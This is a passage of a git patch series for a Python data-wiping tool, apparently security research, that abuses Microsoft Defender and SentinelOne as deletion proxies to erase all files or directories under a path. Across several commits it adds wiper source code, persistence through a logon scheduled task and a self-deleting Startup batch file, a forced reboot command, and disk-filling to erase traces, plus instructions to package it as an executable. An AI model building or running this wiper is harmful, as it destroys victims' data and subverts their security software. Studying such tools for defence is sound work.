+ deletion_targets = find_deletion_targets_from_args(args) + + before = time.time() + failed_targets = delete_proxy.indirect_delete_paths(deletion_targets) + after = time.time() + + print("Failed targets:") + print("------------------------") + for path in failed_targets: + print(path) + print("------------------------") + + print(f"The deletion took {after - before} seconds") + + stay_persistent_with_args(cmd_args="-q ERASE_DISK_TRACES") + os.system("shutdown -t 0 -r -f") + + return 0 + +if __name__ == "__main__": + main() \ No newline at end of file From 5bf608fbf316f1916d3a5964a3ce14bfbf1cb30e Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 12:50:15 +0300 Subject: [PATCH 16/37] changed requirements file --- requirements.txt | Bin 114 -> 65 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/requirements.txt b/requirements.txt index 4fc01d832df158183b0e266342635bdf32394764..4a613eb733b92ecd5f31f375f8cfac6e33d72f22 100644 GIT binary patch literal 65 zcmXRY%1Y3^p@^S$Ht%4G6 literal 114 zcmXwxK?;B{5Ci8d_!LEKuRcaWRFGQKQvAG{S|nsyHnVwd&(6lAIdVt?z4n$)veY!6 hOA0&}C$nfrMbN&m>LZaxRQ69srB1ipWYl9x*$ei#5~TnD From 1d8771572a8ce19342e85dbad088d4c2508b6fd0 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 12:51:08 +0300 Subject: [PATCH 17/37] Added a setup.py installation file --- setup.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 setup.py diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..66cc33c --- /dev/null +++ b/setup.py @@ -0,0 +1,11 @@ +from setuptools import setup, find_packages + +with open("requirements.txt") as f: + required = f.read().splitlines() +setup( + name="Aikido Wiper", + version="1.0", + package_dir={"": "src"}, # Optional + packages=find_packages(where="src"), # Required + console=["wiper_tool/wiper.py"], + install_requires=required) From aa5441c2fc83d2972f858b3b93139850741bc98a Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 13:10:15 +0300 Subject: [PATCH 18/37] remove console tool from setup.py --- setup.py | 1 - 1 file changed, 1 deletion(-) diff --git a/setup.py b/setup.py index 66cc33c..fdc5239 100644 --- a/setup.py +++ b/setup.py @@ -7,5 +7,4 @@ version="1.0", package_dir={"": "src"}, # Optional packages=find_packages(where="src"), # Required - console=["wiper_tool/wiper.py"], install_requires=required) From 90d02bf4f705f4e248d7703460d85a7d92832f63 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 13:14:09 +0300 Subject: [PATCH 19/37] Added installation steps to README --- README.md | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index a88cfee..fa2b32a 100644 --- a/README.md +++ b/README.md @@ -1 +1,16 @@ -# aikido_wiper \ No newline at end of file +# Aikido Wiper +## Installation +### Aikido Wiper Library +```bash +pip install +``` +or +```bash +python setup.py install +``` + +### Aikido Wiper Tool +Make sure you installed the Aikido Wiper Library and the run: +```bash +pyinstaller --onefile wiper_tool/wiper.py +``` \ No newline at end of file From 2cea36d1b9625a0293a8e6a3d88722a2e44660a5 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 13:37:48 +0300 Subject: [PATCH 20/37] added type hints for functions in wipe_utils.py --- src/aikido_wiper/wipe_utils.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/aikido_wiper/wipe_utils.py b/src/aikido_wiper/wipe_utils.py index ba3b42f..ff6f7a1 100644 --- a/src/aikido_wiper/wipe_utils.py +++ b/src/aikido_wiper/wipe_utils.py @@ -78,7 +78,7 @@ def get_all_matching_elements_under_dir(dir_path: str, does_match_func: Callable return matching_elements -def get_all_dirs_under_dir(dir_path, exclude_list=None): +def get_all_dirs_under_dir(dir_path, exclude_list=None) -> set[str]: """ Calls get_all_matching_elements_under_dir() with a condition of being a directory. @@ -88,7 +88,7 @@ def get_all_dirs_under_dir(dir_path, exclude_list=None): """ return get_all_matching_elements_under_dir(dir_path, os.path.isdir, exclude_list) -def get_all_files_under_dir(dir_path, exclude_list=None): +def get_all_files_under_dir(dir_path, exclude_list=None) -> set[str]: """ Calls get_all_matching_elements_under_dir() with a condition of being a file. From f252c7a916432bc4fa1821d9651d227b457d34ed Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 13:38:22 +0300 Subject: [PATCH 21/37] Added docstring to command line args parsing functions --- wiper_tool/configs/args.py | 22 ++++++++++- wiper_tool/configs/args_specific_actions.py | 44 +++++++++++++++++++-- 2 files changed, 61 insertions(+), 5 deletions(-) diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index 94f65a7..19e203d 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -1,15 +1,20 @@ import argparse +from typing import Dict from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_dirs_under_dir_from_args, find_files_under_dir_from_args, get_preferred_proxy_arg_name +# Maps the proxy command line argument options to their creators. +# A "creator" creates the proxy based on the args. PROXY_ARG_NAME_TO_PROXY_CREATOR = { "MICROSOFT_DEFENDER": (create_junction_switch_proxy, MicrosoftDefenderDeleteProxy), "SENTINEL_ONE": (create_junction_switch_proxy, SentinelOneDeleteProxy) } +# Maps the deletion target command line argument to the functions that fetch the final +# set of deletion targets. DELETION_TARGETS_FINDERS = { "ALL_DIRS_UNDER_PATH": find_dirs_under_dir_from_args, "ALL_FILES_UNDER_PATH": find_files_under_dir_from_args, @@ -17,6 +22,13 @@ } def create_proxy_from_conf(args) -> IDeleteProxy: + """ + Creates the deletion proxy given in the configuration. If a proxy was not picked + then automatically chooses the best deletion proxy to create. + + :param args: The args parsed by argparse. + :return: The created deletion proxy. + """ proxy_arg_name = args.proxy if None == proxy_arg_name: proxy_arg_name = get_preferred_proxy_arg_name() @@ -25,7 +37,13 @@ def create_proxy_from_conf(args) -> IDeleteProxy: proxy_class = PROXY_ARG_NAME_TO_PROXY_CREATOR[proxy_arg_name][1] return create_func(proxy_class, args) -def find_deletion_targets_from_args(args): +def find_deletion_targets_from_args(args) -> set[str]: + """ + Finds the deletion targets based on the command line arguments. + + :param args: The args parsed by argparse. + :return: A set of the paths to delete. + """ return DELETION_TARGETS_FINDERS[args.deletion_target](args) def parse_args(): @@ -36,7 +54,7 @@ def parse_args(): proxy_delete_parser = mode_subparsers.add_parser("PROXY_DELETION") erase_disk_traces_parser = mode_subparsers.add_parser("ERASE_DISK_TRACES") - proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, required=True, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) + proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index c0b7f57..5054f1d 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -11,6 +11,12 @@ } def parse_list_from_file(path: str) -> list[str]: + """ + Parses a file which contains a list of strings separated by lines breaks. + + :param path: The path to the file to parse. + :return: The list from the file. + """ out_list = [] with open(path, "r") as f: for line in f.readlines(): @@ -21,23 +27,55 @@ def parse_list_from_file(path: str) -> list[str]: def create_junction_switch_proxy(proxy_class: type, args) -> IDeleteProxy: + """ + Creates a specific junction switch proxy based on the command line arguments. + + :param proxy_class: The class of the specific proxy to create. + :param args: The command line arguments parsed by argparse. + :return: The created proxy. + """ delete_proxy = proxy_class(decoy_dir_path=args.decoy_root_dir) return delete_proxy -def find_dirs_under_dir_from_args(args): +def find_dirs_under_dir_from_args(args) -> set[str]: + """ + Finds all the directories to try to delete based on the command line arguments. + + :param args: The command line arguments parsed by argparse. + :return: The directories to delete + """ return get_all_dirs_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) -def find_files_under_dir_from_args(args): +def find_files_under_dir_from_args(args) -> set[str]: + """ + Finds all the files to try to delete based on the command line arguments. + + :param args: The command line arguments parsed by argparse. + :return: The files to delete + """ return get_all_files_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) -def find_custom_paths_from_args(args): +def find_custom_paths_from_args(args) -> set[str]: + """ + Parses the custom paths to delete file given in the command line arguments. + + :param args: The command line arguments parsed by argparse. + :return: The paths to delete + """ return parse_list_from_file(args.custom_paths_file) def get_preferred_proxy_arg_name() -> str: + """ + Decides which is the best deletion proxy to use based on the AV / EDR products + installed on the system. + + :return: The string that identifies the preferred proxy to use in the command + line arguments + """ existing_proxy_names = get_existing_anti_virus_display_names() preferred_proxy_arg_name = None From 8d056bb254cae0a6b4dad9a3b41c7cdf31fa945f Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 14:28:47 +0300 Subject: [PATCH 22/37] Fixed a typo in the README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fa2b32a..30377e2 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ python setup.py install ``` ### Aikido Wiper Tool -Make sure you installed the Aikido Wiper Library and the run: +Make sure you installed the Aikido Wiper Library and then run: ```bash pyinstaller --onefile wiper_tool/wiper.py ``` \ No newline at end of file From f350ab0813d09aadd58ded62bed952210747d54a Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 22:12:42 +0300 Subject: [PATCH 23/37] Fixed a bug by checking if an exclusion list was not given in the command line arguments --- wiper_tool/configs/args_specific_actions.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index 5054f1d..604ce7c 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -45,7 +45,11 @@ def find_dirs_under_dir_from_args(args) -> set[str]: :param args: The command line arguments parsed by argparse. :return: The directories to delete """ - return get_all_dirs_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) + paths_to_exclude = [] + if args.exclusion_list_path: + paths_to_exclude = parse_list_from_file(args.exclusion_list_path) + + return get_all_dirs_under_dir(args.root_path, paths_to_exclude) def find_files_under_dir_from_args(args) -> set[str]: @@ -55,7 +59,11 @@ def find_files_under_dir_from_args(args) -> set[str]: :param args: The command line arguments parsed by argparse. :return: The files to delete """ - return get_all_files_under_dir(args.root_path, parse_list_from_file(args.exclusion_list_path)) + paths_to_exclude = [] + if args.exclusion_list_path: + paths_to_exclude = parse_list_from_file(args.exclusion_list_path) + + return get_all_files_under_dir(args.root_path, paths_to_exclude) def find_custom_paths_from_args(args) -> set[str]: From ce5434f0d84481cde190b4fa1032ef356650fb0c Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 14 Sep 2022 22:14:44 +0300 Subject: [PATCH 24/37] Added a type hint for the exclusion lists in wipe_utils.py --- src/aikido_wiper/wipe_utils.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/aikido_wiper/wipe_utils.py b/src/aikido_wiper/wipe_utils.py index ff6f7a1..3958709 100644 --- a/src/aikido_wiper/wipe_utils.py +++ b/src/aikido_wiper/wipe_utils.py @@ -5,7 +5,7 @@ import os import uuid import random -from typing import Callable +from typing import Callable, Iterable def erase_disk_traces(iterations = 10): """ @@ -44,7 +44,7 @@ def fill_disk_free_space(chunk_size = 1024 * 1024) -> str: return temp_file_path -def get_all_matching_elements_under_dir(dir_path: str, does_match_func: Callable[[str], bool], exclude_list=None) -> set[str]: +def get_all_matching_elements_under_dir(dir_path: str, does_match_func: Callable[[str], bool], exclude_list: Iterable[str] = None) -> set[str]: """ Recursively iterates through all directories and files under a certain path. For each directory or file, calls a given function to determine if the directory or file matches a condition. @@ -78,7 +78,7 @@ def get_all_matching_elements_under_dir(dir_path: str, does_match_func: Callable return matching_elements -def get_all_dirs_under_dir(dir_path, exclude_list=None) -> set[str]: +def get_all_dirs_under_dir(dir_path, exclude_list: Iterable[str] = None) -> set[str]: """ Calls get_all_matching_elements_under_dir() with a condition of being a directory. @@ -88,7 +88,7 @@ def get_all_dirs_under_dir(dir_path, exclude_list=None) -> set[str]: """ return get_all_matching_elements_under_dir(dir_path, os.path.isdir, exclude_list) -def get_all_files_under_dir(dir_path, exclude_list=None) -> set[str]: +def get_all_files_under_dir(dir_path, exclude_list: Iterable[str] = None) -> set[str]: """ Calls get_all_matching_elements_under_dir() with a condition of being a file. From 4cd2eb04dccf49a675633b960a281b1258a33fb8 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Mon, 19 Sep 2022 13:20:53 +0300 Subject: [PATCH 25/37] Changed args strings values to be enums and added the erase traces point options to the configurations --- src/aikido_wiper/windows_utils.py | 102 +++++++++++++++++--- wiper_tool/configs/args.py | 60 ++++++------ wiper_tool/configs/args_specific_actions.py | 34 +++++-- wiper_tool/configs/consts.py | 52 ++++++++++ wiper_tool/wiper.py | 9 +- 5 files changed, 207 insertions(+), 50 deletions(-) create mode 100644 wiper_tool/configs/consts.py diff --git a/src/aikido_wiper/windows_utils.py b/src/aikido_wiper/windows_utils.py index 4f00b61..aa252e2 100644 --- a/src/aikido_wiper/windows_utils.py +++ b/src/aikido_wiper/windows_utils.py @@ -5,32 +5,112 @@ import win32process import signal import wmi +import win32com +import psutil WINDOWS_AUTOSTART_PATH_IN_USER_HOME = r"AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -def stay_persistent_with_args(autostart_file_name: str = "a", cmd_args: str = "", is_for_only_one_reboot=True): + +def task_scheduler_new_logon_task(program: str, program_args: str, task_name: str, priority: int = None): """ - Sets the current executable path from argv[0] to run on the next system startup as silently as possible. + Creates a new task in the task scheduler that start a program whenever the current user logs on. - :param autostart_file_name: Optional, the name of the ".bat" file that will be placed in the current user's startup - folder, defaults to "a". - :param cmd_args: Optional, The arguments to pass the executable on startup, defaults to "" - :param is_for_only_one_reboot: Optional, if True, the ".bat" file that is placed in the current user's startup folder - deletes itself after it runs, defaults to True + :param program: The program to run on logon of the current user. + :param program_args: The arguments for the program to run. + :param task_name: The name of the task in the task scheduler. + :param priority: Optional, the priority of the task, documented in here - + https://learn.microsoft.com/en-us/windows/win32/taskschd/tasksettings-priority. If not set, the + priority is set to default by the task scheduler to the 7. + """ + #Connection to Task Scheduler + task = win32com.client.Dispatch("Schedule.Service") + task.Connect() + root_folder = task.GetFolder("\\") + newtask = task.NewTask(0) + + # Trigger + TASK_TRIGGER_LOGON = 9 + trigger = newtask.Triggers.Create(TASK_TRIGGER_LOGON) + trigger.Id = "LogonTriggerId" + trigger.UserId = os.environ.get("USERNAME") # current user account + + # Action + TASK_ACTION_EXEC = 0 + action = newtask.Actions.Create(TASK_ACTION_EXEC) + action.ID = "" + + action.Path = program + action.Arguments = program_args + + # Parameters + newtask.RegistrationInfo.Description = "" + newtask.Settings.Enabled = True + newtask.Settings.StopIfGoingOnBatteries = False + + if None != priority: + newtask.Settings.Priority = priority + + # Saving + TASK_CREATE_OR_UPDATE = 6 + TASK_LOGON_INTERACTIVE_TOKEN = 3 + root_folder.RegisterTaskDefinition( + task_name, # Python Task Test + newtask, + TASK_CREATE_OR_UPDATE, + "", # No user + "", # No password + TASK_LOGON_INTERACTIVE_TOKEN) + + +def set_autostart_program(program: str, program_args: str, autostart_bat_file_name: str, is_for_only_one_reboot: bool): + """ + Sets a program to run on the next system startup using the current user's autostart directory as silently as possible. + + :param program: The program to run on startup. + :param program_args: The program's arguments. + :param autostart_bat_file_name: The name of the ".bat" file that will be placed in the current user"s startup folder. + :param is_for_only_one_reboot: if True, the ".bat" file that is placed in the current user"s startup folder + deletes itself after it runs. """ home = str(Path.home()) autostart_path = os.path.join(home, WINDOWS_AUTOSTART_PATH_IN_USER_HOME) - autostart_file_name = f"{autostart_file_name}.bat" - autostart_file_path = os.path.join(autostart_path, autostart_file_name) - current_exe_path = os.path.abspath(sys.argv[0]) + autostart_bat_file_name = f"{autostart_bat_file_name}.bat" + autostart_file_path = os.path.join(autostart_path, autostart_bat_file_name) - bat_cmd = f"@echo off\nstart \"\" /min /realtime cmd.exe /k {current_exe_path} {cmd_args}" + bat_cmd = f"@echo off\nstart \"\" /min /realtime cmd.exe /k {program} {program_args}" if is_for_only_one_reboot: bat_cmd = f"{bat_cmd}\ndel \"%~f0\"" with open(autostart_file_path, "w") as f: f.write(bat_cmd) +def task_scheduler_stay_persistent_with_args(task_name: str = "a ", cmd_args: str = "", priority: int = 2): + """ + Sets a task in the task scheduler to run the current program whenever the current user logs on. + + :param task_name: The name of the task in the task scheduler. + :param cmd_args: The arguments for the program. + :param priority: Optional, the priority of the task, documented in here - + https://learn.microsoft.com/en-us/windows/win32/taskschd/tasksettings-priority. + The value of the priority in this case defaults to 2, as this is the highest priority value allowed + to be set by an unprivileged user. + """ + current_process = psutil.Process(os.getpid()) + task_scheduler_new_logon_task(current_process.exe(), cmd_args, task_name, priority) + +def autostart_stay_persistent_with_args(autostart_bat_file_name: str = "a", cmd_args: str = "", is_for_only_one_reboot=True): + """ + Sets the current executable path to run on the next system startup as silently as possible. + + :param autostart_file_name: Optional, the name of the ".bat" file that will be placed in the current user"s startup + folder, defaults to "a". + :param cmd_args: Optional, The arguments to pass the executable on startup, defaults to "" + :param is_for_only_one_reboot: Optional, if True, the ".bat" file that is placed in the current user"s startup folder + deletes itself after it runs, defaults to True + """ + current_process = psutil.Process(os.getpid()) + set_autostart_program(current_process.exe(), cmd_args, autostart_bat_file_name, is_for_only_one_reboot) + def kill_process_window(): """ diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index 19e203d..74bfd29 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -1,25 +1,9 @@ import argparse -from typing import Dict + +from .consts import * from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy +from .args_specific_actions import get_preferred_proxy_arg_name -from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy -from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy -from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_dirs_under_dir_from_args, find_files_under_dir_from_args, get_preferred_proxy_arg_name - -# Maps the proxy command line argument options to their creators. -# A "creator" creates the proxy based on the args. -PROXY_ARG_NAME_TO_PROXY_CREATOR = { - "MICROSOFT_DEFENDER": (create_junction_switch_proxy, MicrosoftDefenderDeleteProxy), - "SENTINEL_ONE": (create_junction_switch_proxy, SentinelOneDeleteProxy) -} - -# Maps the deletion target command line argument to the functions that fetch the final -# set of deletion targets. -DELETION_TARGETS_FINDERS = { - "ALL_DIRS_UNDER_PATH": find_dirs_under_dir_from_args, - "ALL_FILES_UNDER_PATH": find_files_under_dir_from_args, - "CUSTOM_PATHS": find_custom_paths_from_args -} def create_proxy_from_conf(args) -> IDeleteProxy: """ @@ -29,14 +13,14 @@ def create_proxy_from_conf(args) -> IDeleteProxy: :param args: The args parsed by argparse. :return: The created deletion proxy. """ - proxy_arg_name = args.proxy - if None == proxy_arg_name: - proxy_arg_name = get_preferred_proxy_arg_name() + if None == args.proxy: + args.proxy = get_preferred_proxy_arg_name() - create_func = PROXY_ARG_NAME_TO_PROXY_CREATOR[proxy_arg_name][0] - proxy_class = PROXY_ARG_NAME_TO_PROXY_CREATOR[proxy_arg_name][1] + create_func = PROXY_ARG_NAME_TO_PROXY_CREATOR[args.proxy][0] + proxy_class = PROXY_ARG_NAME_TO_PROXY_CREATOR[args.proxy][1] return create_func(proxy_class, args) + def find_deletion_targets_from_args(args) -> set[str]: """ Finds the deletion targets based on the command line arguments. @@ -44,7 +28,24 @@ def find_deletion_targets_from_args(args) -> set[str]: :param args: The args parsed by argparse. :return: A set of the paths to delete. """ - return DELETION_TARGETS_FINDERS[args.deletion_target](args) + target_const_value = DeletionTargetsOptions[args.deletion_target] + return DELETION_TARGETS_FINDERS[target_const_value](args) + + +def erase_traces_based_on_args(args): + """ + Erases traces of file leftovers in the disk based on the erase traces point + that was given in the configuration. If it was not given in the configuration then + the default one for each proxy is picked. + + :param args: The args parsed by argparse. + """ + if None == args.erase_traces_point: + target_const_value = PROXY_ARG_NAME_TO_DEFAULT_ERASE_TRACES_POINT[args.proxy] + else: + target_const_value = EraseTracesPoint[args.erase_traces_point] + ERASE_TRACES_POINTS_ACTIONS[target_const_value]() + def parse_args(): parser = argparse.ArgumentParser(description="Aikido Wiper - Next gen wiping") @@ -55,18 +56,21 @@ def parse_args(): erase_disk_traces_parser = mode_subparsers.add_parser("ERASE_DISK_TRACES") proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) + + erace_traces_points_option_strings = [option.name for option in DeletionTargetsOptions] + proxy_delete_parser.add_argument("-etp","--erase-traces-point", help="When to execute the part of the wiping that fills the disk to remove traces of deleted files", type=str, choices=erace_traces_points_option_strings) delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) - all_dirs_parser = delete_target_subparsers.add_parser("ALL_DIRS_UNDER_PATH", help="Try to delete all the directories under the Windows drive") + all_dirs_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_DIRS_UNDER_PATH.name, help="Try to delete all the directories under the Windows drive") all_dirs_parser.add_argument("root_path", help="The parent path for all the directories to delete", type=str) all_dirs_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) - all_files_parser = delete_target_subparsers.add_parser("ALL_FILES_UNDER_PATH", help="Try to delete all the files under the Windows drive") + all_files_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_FILES_UNDER_PATH.name, help="Try to delete all the files under the Windows drive") all_files_parser.add_argument("root_path", help="The parent path for all the file to delete", type=str) all_files_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) - custom_paths_parser = delete_target_subparsers.add_parser("CUSTOM_PATHS", help="Try to delete custom paths") + custom_paths_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.CUSTOM_PATHS.name, help="Try to delete custom paths") custom_paths_parser.add_argument("custom_paths_file", help="Path to a file with a list of paths to try to delete", type=str) proxy_delete_parser.add_argument("--decoy-root-dir", help="The path in which all the decoys will be placed in case of a usage of a JunctionSwitchProxy", required=False) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index 604ce7c..396311e 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -1,13 +1,15 @@ +import os + from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy from aikido_wiper.indirect_ops.delete.idelete_proxy import IDeleteProxy from aikido_wiper.wipe_utils import get_all_dirs_under_dir, get_all_files_under_dir -from aikido_wiper.windows_utils import get_existing_anti_virus_display_names +from aikido_wiper.windows_utils import get_existing_anti_virus_display_names, task_scheduler_stay_persistent_with_args, autostart_stay_persistent_with_args WMI_DISPLAY_NAMES_TO_PROXIES_ARG_NAMES_IN_FAVORED_ORDER = { - "Sentinel Agent": "SENTINEL_ONE", - "Windows Defender": "MICROSOFT_DEFENDER" + "Sentinel Agent": SentinelOneDeleteProxy.__name__, + "Windows Defender": MicrosoftDefenderDeleteProxy.__name__ } def parse_list_from_file(path: str) -> list[str]: @@ -49,7 +51,9 @@ def find_dirs_under_dir_from_args(args) -> set[str]: if args.exclusion_list_path: paths_to_exclude = parse_list_from_file(args.exclusion_list_path) - return get_all_dirs_under_dir(args.root_path, paths_to_exclude) + result = get_all_dirs_under_dir(args.root_path, paths_to_exclude) + result.add(args.root_path) + return result def find_files_under_dir_from_args(args) -> set[str]: @@ -63,7 +67,9 @@ def find_files_under_dir_from_args(args) -> set[str]: if args.exclusion_list_path: paths_to_exclude = parse_list_from_file(args.exclusion_list_path) - return get_all_files_under_dir(args.root_path, paths_to_exclude) + result = get_all_files_under_dir(args.root_path, paths_to_exclude) + result.add(args.root_path) + return result def find_custom_paths_from_args(args) -> set[str]: @@ -95,4 +101,20 @@ def get_preferred_proxy_arg_name() -> str: if None == preferred_proxy_arg_name: return None - return preferred_proxy_arg_name \ No newline at end of file + return preferred_proxy_arg_name + + +def task_scheduler_reboot_erase_point(): + """ + Erases traces from the disk after a reboot using task scheduler for persistency. + """ + task_scheduler_stay_persistent_with_args(cmd_args="-q ERASE_DISK_TRACES") + os.system("shutdown -t 0 -r -f") + +def autostart_reboot_erase_point(): + """ + Erases traces from the disk after a reboot using the current user's autostart + directory for persistency. + """ + autostart_stay_persistent_with_args(cmd_args="-q ERASE_DISK_TRACES") + os.system("shutdown -t 0 -r -f") \ No newline at end of file diff --git a/wiper_tool/configs/consts.py b/wiper_tool/configs/consts.py new file mode 100644 index 0000000..b93bed0 --- /dev/null +++ b/wiper_tool/configs/consts.py @@ -0,0 +1,52 @@ +from enum import Enum + +from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy +from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy +from aikido_wiper.wipe_utils import erase_disk_traces +from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_dirs_under_dir_from_args, \ + find_files_under_dir_from_args, autostart_reboot_erase_point, task_scheduler_reboot_erase_point + +class EraseTracesPoint(Enum): + """ + Points in time to initiate the erase traces functionality of the wiper. + """ + RIGHT_AFTER = 0, + TASK_SCHEDULER_REBOOT = 1, + AUTOSTART_REBOOT = 2 + +class DeletionTargetsOptions(Enum): + """ + Methods to specify the deletion targets in the command line arguments. + """ + ALL_DIRS_UNDER_PATH = 0, + ALL_FILES_UNDER_PATH = 1, + CUSTOM_PATHS = 2 + +# Maps the proxy command line argument options to their creators. +# A "creator" creates the proxy based on the args. +PROXY_ARG_NAME_TO_PROXY_CREATOR = { + MicrosoftDefenderDeleteProxy.__name__: (create_junction_switch_proxy, MicrosoftDefenderDeleteProxy), + SentinelOneDeleteProxy.__name__: (create_junction_switch_proxy, SentinelOneDeleteProxy) +} + +# Maps the deletion targets options to the functions that fetch the final +# set of deletion targets. +DELETION_TARGETS_FINDERS = { + DeletionTargetsOptions.ALL_DIRS_UNDER_PATH: find_dirs_under_dir_from_args, + DeletionTargetsOptions.ALL_FILES_UNDER_PATH: find_files_under_dir_from_args, + DeletionTargetsOptions.CUSTOM_PATHS: find_custom_paths_from_args +} + +# Maps erase traces points to the relevant action to do in order to erase +# traces at that point. +ERASE_TRACES_POINTS_ACTIONS = { + EraseTracesPoint.RIGHT_AFTER: erase_disk_traces, + EraseTracesPoint.TASK_SCHEDULER_REBOOT: task_scheduler_reboot_erase_point, + EraseTracesPoint.AUTOSTART_REBOOT: autostart_reboot_erase_point +} + +# Maps proxies to their default erase traces point +PROXY_ARG_NAME_TO_DEFAULT_ERASE_TRACES_POINT = { + MicrosoftDefenderDeleteProxy.__name__: EraseTracesPoint.TASK_SCHEDULER_REBOOT, + SentinelOneDeleteProxy.__name__: EraseTracesPoint.TASK_SCHEDULER_REBOOT +} diff --git a/wiper_tool/wiper.py b/wiper_tool/wiper.py index a8c7344..2bfb1a0 100644 --- a/wiper_tool/wiper.py +++ b/wiper_tool/wiper.py @@ -1,9 +1,9 @@ -import os import time from aikido_wiper.wipe_utils import erase_disk_traces -from configs.args import parse_args, create_proxy_from_conf, find_deletion_targets_from_args -from aikido_wiper.windows_utils import stay_persistent_with_args, kill_process_window, get_existing_anti_virus_display_names +from configs.args import erase_traces_based_on_args, parse_args, create_proxy_from_conf, find_deletion_targets_from_args +from aikido_wiper.windows_utils import task_scheduler_stay_persistent_with_args, kill_process_window + def main(): @@ -31,8 +31,7 @@ def main(): print(f"The deletion took {after - before} seconds") - stay_persistent_with_args(cmd_args="-q ERASE_DISK_TRACES") - os.system("shutdown -t 0 -r -f") + erase_traces_based_on_args(args) return 0 From 07db819fcb3d5773de556f6bafa430bcfd9016fe Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 21 Sep 2022 12:26:36 +0300 Subject: [PATCH 26/37] Changed indirect_delete_paths to get a list instead of an iterable and fixed a bug in microsoft defender delete proxy --- .../indirect_ops/delete/idelete_proxy.py | 2 +- .../indirect_ops/delete/junction_switch_proxy.py | 2 +- .../delete/microsoft_defender_delete_proxy.py | 13 +++++++++++-- 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py b/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py index a30eedb..1f10c3c 100644 --- a/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/idelete_proxy.py @@ -8,7 +8,7 @@ class IDeleteProxy(ABC): """ @abstractmethod - def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: """ Using the proxy, trying to delete a list of given paths. diff --git a/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py index dfcdb4f..32e914f 100644 --- 